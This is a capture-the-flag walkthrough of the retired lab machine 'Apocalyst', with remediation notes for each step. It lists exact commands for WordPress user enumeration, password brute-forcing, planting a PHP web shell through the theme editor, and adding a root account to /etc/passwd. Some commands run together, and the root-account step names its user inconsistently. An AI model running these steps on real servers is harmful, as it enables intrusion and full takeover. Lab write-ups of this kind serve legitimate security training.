Apocalyst
Summary
Target apocalyst.htb ($TARGET) was fully compromised through a chain of WordPress misconfigurations and weak credential hygiene. The unauthenticated WordPress REST API exposed the username falaraki; a browsable uploads directory revealed an image file concealing password material via steganography with a blank passphrase.
That material, combined with WPScan brute-forcing, produced valid WordPress administrator credentials. The built-in WordPress Theme Editor — left active on the production site — was abused to write a PHP command shell into a live theme file, giving code execution as www-data.
A world-readable, base64-encoded file in falaraki's home directory then yielded her SSH password in plaintext, enabling lateral movement to a full user shell. Finally, /etc/passwd had been left world-writable; a new UID-0 account was appended and accessed over SSH, completing full root control of the server.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -sV -sC -p 22,80 $TARGETecho "$TARGET apocalyst.htb" | sudo tee -a /etc/hostswpscan --url http://apocalyst.htb --enumerate vp,vt,uExact commands 2
curl -s 'http://apocalyst.htb/?rest_route=/wp/v2/users'curl -sI 'http://apocalyst.htb/?author=1'FixRestrict WordPress REST API user enumeration to authenticated requestsMedium
Exact commands 4
curl -s -i 'http://apocalyst.htb/wp-content/uploads/'wget http://apocalyst.htb/wp-content/uploads/image.jpgsteghide extract -sf image.jpg -p ""wpscan --url http://apocalyst.htb --usernames falaraki --passwords <recovered-file>FixDisable directory listing on uploads and remove credential material from web-accessible pathsHigh
Exact commands 4
curl -sS -c cookies.txt -b 'wordpress_test_cookie=WP+Cookie+check' -d 'log=falaraki&pwd=<wp-admin-password>&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1' 'http://apocalyst.htb/wp-login.php' -L -o /dev/nullcurl -sS -b cookies.txt 'http://apocalyst.htb/wp-admin/theme-editor.php?file=404.php&theme=twentyseventeen' | grep -o 'nonce":"[^"]*'curl -sS -b cookies.txt -X POST 'http://apocalyst.htb/wp-admin/theme-editor.php' -d 'action=edit-theme-plugin-file&file=404.php&theme=twentyseventeen&nonce=39bae1de18' --data-urlencode 'newcontent=<?php system($_GET["c"]); ?>'curl -s 'http://apocalyst.htb/wp-content/themes/twentyseventeen/404.php?c=id'FixDisable the WordPress Theme and Plugin Editor in productionHigh
Exact commands 2
curl -s 'http://apocalyst.htb/wp-content/themes/twentyseventeen/404.php?c=ls+-la+/home/falaraki'curl -s 'http://apocalyst.htb/wp-content/themes/twentyseventeen/404.php?c=cat+/home/falaraki/.secret' | base64 -dFixRemove world-readable credential files and store secrets with proper access controlsCritical
Exact commands 2
ssh falaraki@$TARGETcat /home/falaraki/user.txtExact commands 4
ls -la /etc/passwdHASH=$(openssl passwd -1 -salt $PASSWORD2 $PASSWORD2) && echo "$PASSWORD2:${HASH}:0:0:root:/root:/bin/bash" >> /etc/passwdssh pwned@$TARGETid && cat /root/root.txtFixRestore correct permissions on /etc/passwd and audit critical system files for unsafe write accessCritical
Attack patterns used
The transferable techniques behind this compromise.
CMS Exploitation (WordPress/Joomla/Drupal)WebT1190
What it is
Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).
Why it works
CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.18 ((Ubuntu)) |